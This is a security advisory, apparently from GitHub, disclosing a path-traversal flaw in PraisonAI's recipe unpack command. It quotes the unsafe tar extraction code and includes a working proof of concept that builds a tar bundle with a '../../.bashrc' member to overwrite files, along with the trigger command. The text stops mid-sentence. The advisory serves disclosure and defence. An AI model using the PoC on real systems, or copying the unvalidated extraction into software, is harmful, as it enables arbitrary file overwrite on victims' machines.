GitHub Security Advisory: GHSA-99g3-w8gr-x37c
Package: PraisonAI (PIP)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 2.7.2, < 4.5.128
Patched in: 4.5.128

Summary: PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`

Details:
| Field | Value |
|---|---|
| Severity | Critical |
| Type | Path traversal -- arbitrary file write via `tar.extract()` without member validation |
| Affected | `src/praisonai/praisonai/cli/features/recipe.py:1170-1172` |

## Summary

`cmd_unpack` in the recipe CLI extracts `.praison` tar archives using raw `tar.extract()` without validating archive member paths. A `.praison` bundle containing `../../` entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run `praisonai recipe unpack`.

## Details

The vulnerable code is in `cli/features/recipe.py:1170-1172`:

```python
for member in tar.getmembers():
    if member.name != "manifest.json":
        tar.extract(member, recipe_dir)
```

The only check is whether the member is `manifest.json`. The code never validates member names -- absolute paths, `..` components, and symlinks all pass through. Python's `tarfile.extract()` resolves these relative to the destination, so a member named `../../.bashrc` lands two directories above `recipe_dir`.

The codebase does contain a safe extraction function (`_safe_extractall` in `recipe/registry.py:131-162`) that rejects absolute paths, `..` segments, and resolved paths outside the destination. It is used by the `pull` and `publish` paths, but `cmd_unpack` does not call it.

```python
# recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack
def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
    dest = str(dest_dir.resolve())
    for member in tar.getmembers():
        if os.path.isabs(member.name):
            raise RegistryError(...)
        if ".." in member.name.split("/"):
            raise RegistryError(...)
        resolved = os.path.realpath(os.path.join(dest, member.name))
        if not resolved.startswith(dest + os.sep):
            raise RegistryError(...)
    tar.extractall(dest_dir)
```

## PoC

Build a malicious bundle:

```python
import tarfile, io, json

manifest = json.dumps({"name": "legit-recipe", "version": "1.0.0"}).encode()

with tarfile.open("malicious.praison", "w:gz") as tar:
    info = tarfile.TarInfo(name="manifest.json")
    info.size = len(manifest)
    tar.addfile(info, io.BytesIO(manifest))

    payload = b"export EVIL=1  # injected by malicious recipe\n"
    evil = tarfile.TarInfo(name="../../.bashrc")
    evil.size = len(payload)
    tar.addfile(evil, io.BytesIO(payload))
```

Trigger:

```bash
praisonai recipe unpack malicious.praison -o ./recipes
# Expected: files written only under ./recipes/legit-recipe/
# Actual:   .bashrc written two directories above the output dir
```

## Impact

| Path | Traversal blocked? |
|------|--------------------|
| `praisonai recipe pull <name>` | Yes -- uses `_safe_extractall` |
| `praisonai recipe publish <bundle>` | Yes -- uses `_safe_extractall` |
| `praisonai recipe unpack <bundle>` | No -- raw `tar.extract()` |

An attacker ne